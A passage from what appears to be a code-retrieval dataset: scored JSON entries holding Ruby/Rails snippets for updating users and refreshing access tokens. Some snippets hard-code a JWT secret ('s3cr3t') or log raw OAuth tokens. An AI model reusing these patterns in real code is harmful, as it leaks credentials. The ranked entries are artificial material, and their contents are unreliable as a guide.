"score": "0.5839779",
"text": "def updateUser\n options = {\n :body => params.to_json,\n :headers => {\n 'Content-Type' => 'application/json',\n 'Authorization' => request.headers['Authorization']\n }\n }\n results = HTTParty.put(\"http://192.168.99.101:4051/users/\"+@current_user[\"id\"].to_s, options)\n render json: results.parsed_response, status: results.code\n end",
"title": ""
},
{
"docid": "be126ce9acc2a58b5e3305968e52f0b6",
"score": "0.5833403",
"text": "def update\n puts \"current user\"\n puts @user.id\n puts current_user.id\n if current_user.admin || @user.id == current_user.id\n if user_params['is_disabled']\n @user.tokens = nil\n end\n if @user.update(user_params)\n render json: @user\n else\n puts @user.errors.full_messages\n render json: @user.errors, status: :unprocessable_entity\n end\n else\n render json: @user.errors, status: :bad_request\n end\n end",
"title": ""
},
{
"docid": "51789f41595778d7e75a5e6f59ef133e",
"score": "0.5823084",
"text": "def refresh_token\n authorize current_user\n original = current_user.api_token\n current_user.generate_token!\n @success = current_user.api_token != original\n end",
"title": ""
},
{
"docid": "1b0e977e4195eed6e213f419dcfde8aa",
"score": "0.57962227",
"text": "def update\n if @user.update(user_params)\n render json: {user: @user, token: @token}\n else\n frender json: @user.errors, status: :unprocessable_entity \n end\n end",
"title": ""
},
{
"docid": "efdb0b35f153eec24133d191e1475dc6",
"score": "0.57352215",
"text": "def update\n # @user is already set by correct_user\n # @user = User.find(params[:id])\n if @user.update_attributes(params[:user])\n # Handle a successful update.\n flash[:success] = \"Profile updated\"\n # log_in here makes sure token in cookie gets updated\n # If someone is using hijacked cookie, token gets updated and results in stole token not working\n log_in @user\n redirect_to @user\n else\n render 'edit'\n end\n end",
"title": ""
},
{
"docid": "26249f29512ce58702f02f96e3479f1a",
"score": "0.564283",
"text": "def update_user!(user_id)\n\t\t\tcart = Cart.perform_request Cart.api_url(\"carts/#{self.id}\", {}), :put,\n\t\t\t\t{\n\t\t\t\t\tuser_id: user_id,\n\t\t\t\t\titems: self.items\n\t\t\t\t}, true\n\n\t\t\tif cart\n\t\t\t\tself.user_id = user_id\n\t\t\telse\n\t\t\t\tfalse\n\t\t\tend\n\t\tend",
"title": ""
},
{
"docid": "f29248cf4f1d7843ef37396119db54e2",
"score": "0.56249297",
"text": "def update(user_id, user)\n\t\t\tkparams = {}\n\t\t\t# The user's unique identifier in the partner's system\n\t\t\tclient.add_param(kparams, 'userId', user_id);\n\t\t\t# Id The user's unique identifier in the partner's system\n\t\t\tclient.add_param(kparams, 'user', user);\n\t\t\tclient.queue_service_action_call('user', 'update', kparams);\n\t\t\tif (client.is_multirequest)\n\t\t\t\treturn nil;\n\t\t\tend\n\t\t\treturn client.do_queue();\n\t\tend",
"title": ""
},
{
"docid": "8b03d71dddb0e810256f991b49200760",
"score": "0.5624526",
"text": "def update_user(user_name:, user:)\n validate_user_name(:user_name, user_name)\n response = wrap_response(@connection.put(user_path(user_name), user))\n\n response.fmap { |r| SftpgoClient::ApiResponse.new(r.body) }\n end",
"title": ""
},
{
"docid": "eda0fe15ed444b3509fe50e2c382aa10",
"score": "0.5588749",
"text": "def get_token_from_refresh_token(user)\n logger.debug \"BEGIN get_token_from_refresh_token\"\n client = OAuth2::Client.new(CLIENT_ID,\n CLIENT_SECRET,\n :site => \"https://login.microsoftonline.com\",\n :authorize_url => \"/common/oauth2/authorize\",\n :token_url => \"/common/oauth2/token\")\n \n current_token = OAuth2::AccessToken.from_hash(client,\n { :refresh_token => user.refresh_token })\n \n logger.debug \"Current token: #{current_token.inspect}\"\n \n new_token = current_token.refresh!\n logger.debug \"New token: #{new_token.inspect}\"\n \n user.access_token = new_token.token\n user.refresh_token = new_token.refresh_token\n user.save\n end",
"title": ""
},
{
"docid": "d2cda992caa40e160de18e4da78202c9",
"score": "0.5581033",
"text": "def update\n @user_token = UserToken.find(params[:id])\n\n respond_to do |format|\n if @user_token.update_attributes(params[:user_token])\n format.html { redirect_to @user_token, notice: 'User token was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @user_token.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "bdc2c3fe54cdfe62b78aad97e15eec49",
"score": "0.5569161",
"text": "def update\n if current__user.isAdmin || current__user == @user\n if @user.update(user_update_params)\n # setToken\n # UserNotifierMailer.send_signup_email(@user).deliver\n render :show, status: :ok\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n else\n render json: 'Sorry you are not allowed to perform this operation.', status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "be658cd696fc6c9fae30def6b619241e",
"score": "0.5546569",
"text": "def update\n if @user.id == current_api_user.id\n if @user.update(user_params)\n render json: @user.as_json(except: [:updated_at]), status: :ok\n else\n render json: @user.errors, status: :bad_request\n end\n else\n render json: '', status: :forbidden\n end\n end",
"title": ""
},
{
"docid": "7466e02731258edb1db91ae36f11f862",
"score": "0.55368066",
"text": "def update_user\n current_user.update_last_access if current_user && signed_in?\n end",
"title": ""
},
{
"docid": "b4aac04cbb3a1a5d980ccca58b97bded",
"score": "0.5527897",
"text": "def refresh_access_token\n return false unless @oauth_access_token.expired?\n\n @oauth_access_token = @oauth_access_token.refresh!\n write_attribute :access_token, @oauth_access_token.token\n write_attribute :access_token_expires_at, @oauth_access_token.expires_at\n true\n end",
"title": ""
},
{
"docid": "d4dae7016088bc3723c51de3780a1002",
"score": "0.5516223",
"text": "def update\n\t\tget_current_user\n\t\t@user = User.find(params[:id])\n\n\t\treturn (render json: {errors: [\"Je bent niet geauthoriseerd om dit te doen\"]}, status: :unprocessable_entity) unless (@current_user.isAdmin || @current_user.id == @user.id)\n\n\t respond_to do |format|\n\t if @user.update_attributes(params[:user])\n\t \tnew_remember_token(@user) if @current_user.isStudent\n\t format.json { head :no_content }\n\t else\n\t format.json { render json: {errors: @user.errors.full_messages}, status: :unprocessable_entity }\n\t end\n\t end\n\tend",
"title": ""
},
{
"docid": "f3a2f18c40484d71f231eb1ceaa8a07d",
"score": "0.5501918",
"text": "def update_token\n client.authorization.update_token!(oauth_data)\n if client.authorization.refresh_token && client.authorization.expired?\n client.authorization.fetch_access_token!\n end\n end",
"title": ""
},
{
"docid": "85c620abfb1e8cf537a702b0b6dbc8ce",
"score": "0.5471553",
"text": "def update\n updated_user = user_params\n\n if params[:user][:do_not_email] == '1'\n updated_user[:marketing] = '0'\n updated_user[:articles] = '0'\n updated_user[:digest] = '0'\n end\n\n user = Token.consume(params[:user][:nonce])\n\n if user == nil or user.id.to_s != params[:id] or params[:user][:url_email] != user.email\n flash[:alert] = 'Access denied!'\n redirect_to action: 'edit'\n return\n elsif user.email != params[:user][:email]\n email_already_exists = email_already_exists?(params[:user][:email])\n if email_already_exists\n redirect_to action: 'edit'\n return\n end\n else\n respond_to do |format|\n if @user.update(updated_user)\n format.html { redirect_to action: 'index' }\n format.json { render :show, status: :ok, location: @user }\n else\n format.html { render :edit }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end\n end",
"title": ""
},
{
"docid": "8d0a61300bbe971e9f824072026c0429",
"score": "0.54641056",
"text": "def update\n # TODO: wrap into Facebook class?\n fb_response = Facebook.new(params[:facebook_access_token]).get(\"/me\")\n \n # TODO: handle errors, security\n\n if fb_response.code != 200\n render :nothing => true, :status => 401\n else\n @user = User.find_by_facebook_id(fb_response['id'])\n\n if @user\n # existing user logging-in\n @user.update_attribute(:facebook_token, params[:facebook_access_token])\n render :nothing => true, :status => 200\n else\n # shinny new user logging-in\n @user = User.create_from_facebook_response(params[:facebook_access_token], fb_response)\n if @user.save\n render :nothing => true, :status => 201\n else\n render :nothing => true, :status => 500\n raise \"could not save new user\"\n end\n end\n end\n end",
"title": ""
},
{
"docid": "0ba5e5984e920c5fd55bdd1cc15528c2",
"score": "0.53915954",
"text": "def update_user(auth_token, user = {})\n if @api_host.present? && user.present?\n begin\n request_url = @api_host + \"/api/v1/profile\"\n payload = Hash.new\n payload[:user] = user\n request_headers = { \"Content-Type\" => \"application/json\", \"Authorization\" => \"Bearer \" + auth_token.to_s }\n response = RestClient.post(request_url, payload.to_json, request_headers)\n result = JSON.parse(response.body)\n Rails.logger.info \"===== update user result ===== #{result} =====\"\n result\n rescue RestClient::ExceptionWithResponse => e\n error = JSON.parse(e.response)\n Rails.logger.warn \"===== update user errors ===== #{error} =====\"\n error\n end\n end\n end",
"title": ""
},
{
"docid": "32f17d54b36c45a93a9474d512f9425c",
"score": "0.5372098",
"text": "def refresh!\n resp = API.connection.get 'api/users/current_user/edit', {\n user_email: @email,\n user_token: @token\n }\n\n case resp.status\n when 200\n refresh_from_user_response resp\n when 401\n raise Teachable::AuthError, resp.body['error']\n else\n raise Teachable::Error, 'Unknown response.'\n end\n end",
"title": ""
},
{
"docid": "991933681b35c65e502baf27c10e2b56",
"score": "0.5343008",
"text": "def update_token!(object)\n self.refresh_token = object.refresh_token unless object.refresh_token.nil?\n self.access_token = object.access_token\n self.expires_at = object.expires_at\n end",
"title": ""
},
{
"docid": "a357732ea5d241638960dd07e342fd05",
"score": "0.5339156",
"text": "def update_access_token\n response = fetch_access_token\n store_access_token(response.result)\n end",
"title": ""
},
{
"docid": "7e10ae81eb8f36c7b0a305617acb7b8d",
"score": "0.5336034",
"text": "def update\n @user = current_user\n if @user.update(update_user_params)\n render 'api/v1/users/show'\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "6c8c91f5431835c484296673827567f0",
"score": "0.5321158",
"text": "def update\n @user = User.find(session[:uid])\n @user.update_attribute :auth_token, session[:auth_token]\n @user.update_attribute :auth_secret, session[:auth_secret]\n @user.save!\n\n redirect_to home_index_url\n\n respond_to do |format|\n if @user.update_attributes(params[:user])\n format.html { redirect_to @user, notice: 'User was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "f4bd25c61a420ccaabccaec21a2a9ba1",
"score": "0.5319174",
"text": "def update_current_user(user)\n @current_user = user if user\n end",
"title": ""
},
{
"docid": "006670927c4d59adf5ab47dcb67e7485",
"score": "0.53136665",
"text": "def update(&block)\n Logger.d \"Updating user\"\n\n # TODO - change to post in actual network call\n json = {\n :user => {\n :name => get(:name),\n :email => get(:email),\n :gcm_token => get(:gcm_token)\n },\n :auth_token => get(:auth_token)\n }.to_json\n\n network_put(CONFIG.get(:user_save), nil, json, @on_api_call_failed) do |user_object|\n if is_valid_network_user_object?(user_object)\n @data = user_object\n Logger.d(\"Success in @user.update => \" + user_object.to_s)\n serialiaze() # Write the object to persistent storage\n block.call(@data)\n end\n end\n end",
"title": ""
},
{
"docid": "22f0daf58f0936dde04a11387748a591",
"score": "0.531264",
"text": "def authorize!(current_user)\n @authorized = false\n oauth_drive_token = OauthDriveToken.get_provider_for(current_user, APP_CONFIG['oauth']['google']['provider_number'])\n if oauth_drive_token.present?\n # Set details\n @client.authorization.access_token = oauth_drive_token.access_token\n @client.authorization.refresh_token = oauth_drive_token.refresh_token\n @client.authorization.client_id = oauth_drive_token.client_number\n\n if oauth_drive_token.expires_at < Time.now\n # Present but expired, attempt to refresh\n @authorized = true if self.refresh_token(oauth_drive_token)\n elsif self.current_token_still_valid?\n @authorized = true\n else\n # Not valid so destroy it and prompts for re-auth\n oauth_drive_token.destroy\n end\n end\n end",
"title": ""
},
{
"docid": "e277d204b7f57c14cae45f3792c2fcdc",
"score": "0.53093696",
"text": "def perform(user_id)\n # only get attributes we need\n return unless (user = User.find_by(id: user_id, active: true).select(:id, :authorization_fails))\n spotify = RSpotify::User.new(user.settings.to_hash)\n\n begin\n recent_track_ids = []\n spotify.recently_played(limit: 50).each do |track|\n recent_track_ids.push([track.id, track.played_at])\n end\n SaveTracksWorker.perform_async(user.id, recent_track_ids, \"streamed\") if recent_track_ids.any?\n rescue RestClient::Unauthorized, RestClient::BadRequest\n user.increment!(:authorization_fails)\n\n # Deactivate user if we don't have the right permissions and if their authorization has failed a crap ton of times\n user.update_attribute(:active, false) if user.authorization_fails >= 10\n end\n end",
"title": ""
},
{
"docid": "4c5ee4d7d9050d9125aa0b85e3e71c1d",
"score": "0.5295261",
"text": "def update\n params[:user].reject! { |k,v|\n !['name','email','facebook_uid'].include?k || (k=='password' && v != '' && v == params[:password_verify])\n }\n @user = User.find(current_user.id)\n\n respond_to do |format|\n if params[:user]['facebook_uid'] and params[:user]['facebook_uid'] != \"\"\n params[:user].delete 'facebook_uid' if current_facebook_user.nil? or current_facebook_client.nil? or current_facebook_user.id != params[:user]['facebook_uid']\n end\n if @user.update_attributes(params[:user])\n if @user.facebook_uid and current_facebook_user and current_facebook_client\n if current_facebook_user.id == @user.facebook_uid\n @user.facebook_session_key = current_facebook_client.access_token\n end\n end\n format.html { redirect_to @user, notice: 'User was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "d477ca55c2d433aad9639fb0e41183cb",
"score": "0.5293836",
"text": "def modify_user(user)\n query_api_object Model::User, '/rest/user', user.to_hash, 'PUT'\n end",
"title": ""
},
{
"docid": "57cfa284a43953499f8096133dbc9bbe",
"score": "0.5290767",
"text": "def redirect\n response = @client.oauth_token(code: params.fetch(:code))\n this_user_id = response.athlete.id\n\n # updates user is exists, adds if not\n if User.exists?(this_user_id)\n puts 'user is already in the database, adding in new tokens'\n this_user = User.find(this_user_id)\n this_user.update(\n access_token: response.access_token,\n refresh_token: response.refresh_token,\n token_exp_date: response.expires_at.to_i\n )\n\n else\n puts 'user is not already in the database, now adding them'\n new_user = User.create(\n id: response.athlete.id,\n access_token: response.access_token,\n refresh_token: response.refresh_token,\n token_exp_date: response.expires_at.to_i\n )\n end\n\n render 'general/success.html.erb'\n end",
"title": ""
},
{
"docid": "d7c6623390b656e99711bdd3e951e136",
"score": "0.5283125",
"text": "def refresh_access_token!\n self.save! if refresh_access_token\n end",
"title": ""
},
{
"docid": "015b84c5f5e4891fb38895d94025be25",
"score": "0.52817893",
"text": "def update\n @user = current_user\n\n ## Update other fields\n %w(billing_cycle billing_cycle_start_date is_profile_complete is_verified_email approval_status).each do |f|\n params[:user].delete(f)\n end\n\n @user.is_profile_complete = 'yes'\n if @user.update_attributes(params[:user])\n sign_in @user, :bypass => true\n respond_to do |format|\n format.json { render :json => {\"user\" => @user.as_json}, :status => :created }\n end\n else ## error when save\n respond_to do |format|\n format.json { render json: @user.errors.full_messages, :status => :bad_request }\n end\n end\n end",
"title": ""
},
{
"docid": "75f319dd13ca5533c0cea998beeebd60",
"score": "0.5255943",
"text": "def update_current_user(user)\n @current_user = user\n @current_user\n end",
"title": ""
},
{
"docid": "4d34a325999f1138cf1ba182eaeebf50",
"score": "0.52484953",
"text": "def update\n authorize(@user)\n user_params = permitted_attributes(@user)\n if @user.update(user_params)\n users = policy_scope(User)\n render json: { users: users}\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "a5cf35feb1297da75ca91b72f9375c26",
"score": "0.52455276",
"text": "def send_access_token(user, provider, device_model=\"\", os_version=\"\")\n\n user_token = UserToken.where(\"user_id = ? and provider = ?\", user.id, provider).last\n\n access_token = Tools::Generate.access_token\n refresh_token = Tools::Generate.refresh_token\n\n period = AppConfig.access_token.expired_in.minute\n\n expired_at = (Time.now + period)\n\n if user_token && user_token.token\n user_token.token = access_token\n user_token.refresh_token = refresh_token\n user_token.expired_at = expired_at\n user_token.device_model = device_model\n user_token.os_version = os_version\n user_token.save\n else\n user_token = user.user_tokens.create(token: access_token,\n refresh_token: refresh_token,\n provider: provider,\n expired_at: expired_at,\n device_model: device_model,\n os_version: os_version)\n end\n\n return [access_token, refresh_token] if user_token\n end",
"title": ""
},
{
"docid": "d60aea9b6494aa0cf4d3a6d881b8964f",
"score": "0.5235593",
"text": "def modify_user(user)\n query_api_object User, \"/rest/user\", user.dump(), \"PUT\"\n end",
"title": ""
},
{
"docid": "fc1821e2e39408147faff5266c34277c",
"score": "0.52344817",
"text": "def refresh \n decoded_refresh_token = JWT.decode(params[:refreshToken], 's3cr3t', true, algorithm: 'HS256')\n # Check if token was decoded\n if decoded_refresh_token\n refresh_token_record = Blacklist.find_by(jwt: params[:refreshToken])\n if refresh_token_record && Time.now < refresh_token_record.expiration \n @user = User.find_by(id: decoded_refresh_token[0]['user_id'])\n if @user # user exists\n Blacklist.find_by(jwt: params[:refreshToken]).delete\n # update the device_key for the user\n new_access_token = create_access_token(@user.id)\n new_refresh_token = create_refresh_token(@user.id)\n render json: {status: \"Refreshed Tokens\", auth: {accessToken: new_access_token.jwt, accessTokenExpiration: new_access_token.expiration, refreshToken: new_refresh_token.jwt, refreshTokenExpiration: new_refresh_token.expiration }}\n else\n render json: {error: \"Invalid User\"}\n end\n else\n render json: {status: \"Token Expired\"}\n end \n else # token is null\n render json: {error: \"Invalid Token\"}\n end\n end",
"title": ""
},
{
"docid": "3a5350756037d5278aacd496c179f5be",
"score": "0.5233495",
"text": "def update\n @user.update(user_params_update)\n json_response(@user)\n end",
"title": ""
},
{
"docid": "7a93a5a95177a4e0def5478523b9b46b",
"score": "0.5230731",
"text": "def update_oauth_user_credentials(oauth_data)\r\n oauth_access_token = oauth_data.credentials.token\r\n raise Totem::Authentication::Session::MissingSessionUserAccessToken, \"Blank oauth access token in oauth data. #{oauth_data.inspect}\" if oauth_access_token.blank?\r\n self.oauth_access_token = oauth_data.credentials.token\r\n if self.respond_to?(:populate_user_oauth_extra_info)\r\n extra_values = oauth_data.extra.user_info || {}\r\n self.populate_user_oauth_extra_info(extra_values)\r\n end\r\n end",
"title": ""
},
{
"docid": "993ccad393a1fb51f7ae116590289bc0",
"score": "0.5218948",
"text": "def conditionally_update\n return true unless params[:user]\n @user.update(user_params)\n end",
"title": ""
},
{
"docid": "0a2c4c653541acfbe33770e75e05511a",
"score": "0.521816",
"text": "def update\n authorize_action_for @user, at: current_store\n\n respond_to do |format|\n if @user.update(user_params)\n track @user\n\n format.html { redirect_to admin_user_path(@user),\n notice: t('.notice', user: @user) }\n format.json { render :show, status: :ok, location: admin_user_path(@user) }\n else\n format.html { render :edit }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "5312eedd9f5a0a09fd41b6e5c470faec",
"score": "0.5214005",
"text": "def refresh_tokens\n\t\tbegin\n\t\t\t\n\t\t\tresp = $c.initiate_auth({\n\t\t\t auth_flow: \"REFRESH_TOKEN\",\n\t\t\t auth_parameters: {\n\t\t\t \"REFRESH_TOKEN\" => self.refresh_token,\n\t\t\t \"SECRET_HASH\" => calculate_cognito_hmac\n\t\t\t },\n\t\t\t client_id: ENV[\"COGNITO_CLIENT_ID\"]\n\t\t\t})\n\t\t\t\n\t\t\tself.access_token = resp[:authentication_result][:access_token]\n\t\t\tself.refresh_token = resp[:authentication_result][:refresh_token]\n\t\t\tself.token_expires_at = Time.now + (resp[:authentication_result][:expires_in]).seconds\n\t\t\tself.save\n\t\t\t#session[:user] = self\n\t\trescue => e\n\t\t\te.to_s\n\t\tend\t\n\tend",
"title": ""
},
{
"docid": "ac4b36a13fd1e6b760e0dc5b13bc62c4",
"score": "0.52089936",
"text": "def refresh_single_use_oauth2_token!\n assign_single_use_oauth2_token\n save!\n end",
"title": ""
},
{
"docid": "8017464fe79f90a14bb5964405bbf66a",
"score": "0.5208524",
"text": "def update\n\t\tif !current_user\n\t\t\tredirect_to '/'\n\t\t\treturn\n\t\tend\n\t\trespond_to do |format|\n\t\t\tif current_user && is_this_user && @user.update(user_params)\n\t\t\t\tformat.html { redirect_to @user, notice: '<span class=\"alert alert-success\">User was successfully updated.</span>' }\n\t\t\t\tformat.json { render :show, status: :ok, location: @user }\n\t\t\telse\n\t\t\t\tformat.html { render :edit }\n\t\t\t\tformat.json { render json: @user.errors, status: :unprocessable_entity }\n\t\t\tend\n\t\tend\n\tend",
"title": ""
},
{
"docid": "3d19e7735321078b36035f86e57c18e6",
"score": "0.5192266",
"text": "def update\n if @user.update(user_params)\n respond_with(@user, location: users_url, notice: 'User was successfully updated.')\n else\n respond_with(@user)\n end\n end",
"title": ""
},
{
"docid": "365f0387797040815d0a176d17f3c867",
"score": "0.51840717",
"text": "def update_token\n params = {\n client_id: client_id,\n client_secret: client_secret,\n grant_type: 'refresh_token',\n refresh_token: refresh_token\n }\n request(:post, 'oauth2/token', params, true)\n end",
"title": ""
},
{
"docid": "f6b14681f86bc87e665c400c4b471bcc",
"score": "0.5179144",
"text": "def set_refresh_token(user = current_user)\n set_header JWT::Auth::RefreshToken.new(:subject => user)\n end",
"title": ""
},
{
"docid": "a9426528cfe46a79764b30d5d4ff54cf",
"score": "0.51786286",
"text": "def update\n if @current_user.update(user_params)\n render json: { message: 'success' }, status: :ok\n else\n render json: { message: @current_user.errors.full_messages }, status: 422\n end\n end",
"title": ""
},
{
"docid": "80305607ef79f4abc8feee488b5927ec",
"score": "0.51757073",
"text": "def update_user\n end",
"title": ""
},
{
"docid": "9fd0a8bafea090f0460efed9a3396429",
"score": "0.51705796",
"text": "def update\n @user = current_api_user\n unless @user.update(user_params)\n render json: { error: @user.errors.full_messages.to_sentence }, status: :not_found\n end\n end",
"title": ""
},
{
"docid": "7edcade12ed98131c8c06c592cd9f5ad",
"score": "0.5164909",
"text": "def refresh_oauth2_token!\n ensure_oauth2_token(true)\n save!\n end",
"title": ""
},
{
"docid": "b947513d9270ec209358a2be7d8ec2fa",
"score": "0.5161839",
"text": "def update\n respond_to do |format|\n if current_user.update(user_params)\n format.json {\n render json: {\n status: 'success',\n data: current_user\n },\n status: :ok\n }\n else\n format.json { render json: current_user.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "b691b319e5f2d1843974468987582cc7",
"score": "0.5152185",
"text": "def updateapnstoken\n @user = User.find_by_authentication_token(params[:auth_token])\n uph = {apns_device_token: params[:apns_token]}\n respond_to do |format|\n if @user.update_attributes(uph)\n format.html { redirect_to @user, notice: 'User was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "afb569f0a21f87f801e35b6c899c0b48",
"score": "0.5128831",
"text": "def update_user\n user = current_user\n if user.update(update_params)\n render json: { status: { updated: \"Ok\" } }\n else\n render json: user.errors.full_messages\n end\n end",
"title": ""
},
{
"docid": "fd9d7d5122beb60848104beaccd3231b",
"score": "0.512436",
"text": "def update\n if @user\n @user.update(user_params)\n render json: @user, serializer: UserSerializer, message: 'user succefully update', status: 200\n else\n render json: { error: 'unable update' }, status: 400\n end\n end",
"title": ""
},
{
"docid": "b0cc201b52363eebc34d6c60e90ffd12",
"score": "0.5118371",
"text": "def update\n authorized_user_params = user_params\n authorized_user_params.delete(:role_ids) unless policy(@user).manager?\n\n if @user.update(authorized_user_params)\n respond_successfully I18n.t('integral.backend.users.notification.edit_success'), backend_user_path(@user)\n else\n respond_failure I18n.t('integral.backend.users.notification.edit_failure'), 'edit'\n end\n end",
"title": ""
},
{
"docid": "dc32801dcb5a180d14451ebab3e04f94",
"score": "0.511663",
"text": "def update\n if @user.update(user_params)\n render json: @user, status: :ok, location: @user\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "47182332f6716f72cc0f9b618b7bdfab",
"score": "0.5116628",
"text": "def update\n authorize! if @user != current_user\n respond_to do |format|\n if @user.update(user_params)\n format.html { redirect_to @user, notice: 'User was successfully updated.' }\n format.json { render :show, status: :ok, location: @user }\n else\n format.html { render :edit }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "174f7a604b2da3e92a4dd739d3085ca5",
"score": "0.5105487",
"text": "def update\n authorize! :edit, User\n @user = User.find(params[:id])\n return_url = users_url(:use_session => true)\n respond_to do |format|\n if @user.update_attributes(params[:user])\n do_extra_actions\n format.html { redirect_to return_url }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @user.errors.to_xml }\n end\n end\n end",
"title": ""
},
{
"docid": "1aec93420e3fd782f9f618b6a56af50f",
"score": "0.5102084",
"text": "def update\n if (!@isLogin || !@isValidUser)\n return\n end\n respond_to do |format|\n if @user.update(user_params)\n format.html { redirect_to @user, notice: \"User was successfully updated.\" }\n format.json { render :show, status: :ok, location: @user }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "a86e08a67ca25d27e9d1128ac3d3bdac",
"score": "0.50914896",
"text": "def identify(fb_user)\n user = find_or_initialize_by_identifier(fb_user.identifier.try(:to_s))\n user.access_token = fb_user.access_token.to_s\n user.save!\n user\n end",
"title": ""
},
{
"docid": "d05d35ca1b7d06251d416568de7467ce",
"score": "0.5090154",
"text": "def access_token\n user_token = @user_token\n goat.transaction do\n if user_token.access_token.nil?\n user_token.access_token = request_token.get_access_token\n if !user_token.access_token.nil?\n goat[user_token.user] = user_token\n end\n end\n end\n @user_token = user_token\n @user_token.access_token\n end",
"title": ""
},
{
"docid": "78289dba4c3a12da4fb5c8f9e6484e5f",
"score": "0.50834715",
"text": "def authenticate_with_oauth2(oauth2_id, oauth2_token)\n \n # find user and update access token \n returning(self.find_for_oauth2(oauth2_id)) do |user|\n user.update_attributes(:oauth2_token => oauth2_token) unless user.nil?\n end\n\n end",
"title": ""
},
{
"docid": "8aec1cd80103a0fa483e418616cb3a84",
"score": "0.50802374",
"text": "def update\n if @user.update_attributes(params[:user])\n if params[:user][:password].present?\n # this logic needed b/c devise wants to log us out after password changes\n user = Spree::User.reset_password_by_token(params[:user])\n sign_in(@user, :event => :authentication, :bypass => !Spree::Auth::Config[:signout_after_password_change])\n end\n if request.xhr?\n render \"spree/shared/close_dialog\"\n else\n redirect_to spree.account_url, :notice => Spree.t(:account_updated) \n end\n else\n render :edit\n end\n end",
"title": ""
},
{
"docid": "1486506e1ad5b4b7380c02b7f5738cd5",
"score": "0.50777835",
"text": "def refresh_access_token\n\t\t\t\trequire \"open-uri\"\n\t\t\t\trequire \"net/http\"\n\t\t\t\trequire \"openssl\"\n\t\t\t\trequire \"base64\"\n\n\t\t\t\turi = URI.parse(\"#{self.add_on.jive_url}/oauth2/token\")\n\t\t\t\thttp = Net::HTTP.new(uri.host, uri.port)\n\t\t\t\thttp.use_ssl = true\n\n\t\t\t\trequest = Net::HTTP::Post.new(uri.request_uri)\n\t\t\t\trequest.basic_auth self.add_on.client_id, self.add_on.client_secret\n\t\t\t\trequest.set_form_data({\n\t\t\t\t\t\"refresh_token\" => \"#{self.refresh_token}\",\n\t\t\t\t\t\"grant_type\" => \"refresh_token\",\n\t\t\t\t})\n\n\t\t\t\tresponse = http.request(request)\n\t\t\t\tjson_body = JSON.parse(response.body)\n\n\t\t\t\tif (response.code.to_i != 200)\n\t\t\t\t\traise RuntimeError, json_body[\"error\"].to_s.upcase\n\t\t\t\tend\n\n\t\t\t\tself.access_token = json_body[\"access_token\"]\n\t\t\t\tself.expires_in = json_body[\"expires_in\"]\n\t\t\t\tself.expires_at = json_body[\"expires_in\"].to_i.seconds.from_now\n\t\t\t\tself.save\n\t\t\tend",
"title": ""
},
{
"docid": "82d84795ce0a582199a71e8b34eb029f",
"score": "0.5076514",
"text": "def set_user_session\n session[:access_token] = user_credentials.access_token\n session[:refresh_token] = user_credentials.refresh_token\n session[:expires_in] = user_credentials.expires_in\n session[:issued_at] = user_credentials.issued_at\nend",
"title": ""
},
{
"docid": "655fcd258cb1dba5fbdaf48c0f31b344",
"score": "0.50691515",
"text": "def update_user_record(user, response)\n\tif response[:done]\n\t\tif response[:won]\n\t\t\tuser.wins += 1\n\t\telse\n\t\t\tuser.losses += 1\n\t\tend\n\t\tuser.total += 1\n\t\tuser.save\n\telse\n\t\ttrue\n\tend\nend",
"title": ""
},
{
"docid": "8c7a4c43a965d9fbe453d50f6e337d15",
"score": "0.5061172",
"text": "def update_user!(user: nil)\n user_index = nil\n existing_user = nil\n\n users.each.with_index do |old_user, index|\n if old_user.email.casecmp(user.email.downcase).zero?\n user_index = index\n existing_user = old_user\n break\n end\n end\n\n if existing_user.nil?\n logger.debug(\"Couldn't update user #{user.email} because they don't exist\")\n raise \"Couldn't update user #{user.email} because they don't exist\"\n else\n users = self.users\n users[user_index] = user\n self.users = users\n logger.debug(\"Updating user #{existing_user.email}, writing out users.json to #{user_file_path}\")\n return true\n end\n end",
"title": ""
},
{
"docid": "8831e4ffed45a98a214f7570871decbb",
"score": "0.50521106",
"text": "def refresh_access_token\n self.expires_at = Time.now + 3600 \n save\n end",
"title": ""
},
{
"docid": "db2efde541e9f17aa0472cb5dcfc5066",
"score": "0.5047254",
"text": "def refresh_tokens!\n update(Twitch.new_tokens!(refresh_token))\n rescue RestClient::Unauthorized, RestClient::BadRequest\n # If the refresh got 401 Unauthorized, we were probably de-authorized from using the user's Twitch account. If it\n # got 400 Bad Request, we probably have a nil refresh token, perhaps because the authorization was created before we\n # started saving refresh tokens to the database.\n #\n # Ideally we'd destroy the TwitchUser here, but that may leave the user with no way to sign in. Instead, force a\n # sign out so we can get some fresh tokens. Until that happens we technically have no way to verify this Twitch user\n # and this Splits.io user are the same person, only that they once were in the past.\n #\n # Once we have linkless accounts, change this to destroy the TwitchUser.\n user.sessions.destroy_all\n end",
"title": ""
},
{
"docid": "5bcb486d379883d553954f59fa453e28",
"score": "0.5044512",
"text": "def set_current_user(user)\n session[:user_token] = user.token\n end",
"title": ""
},
{
"docid": "f6911a1df7429a498f0e08180dd43898",
"score": "0.50407165",
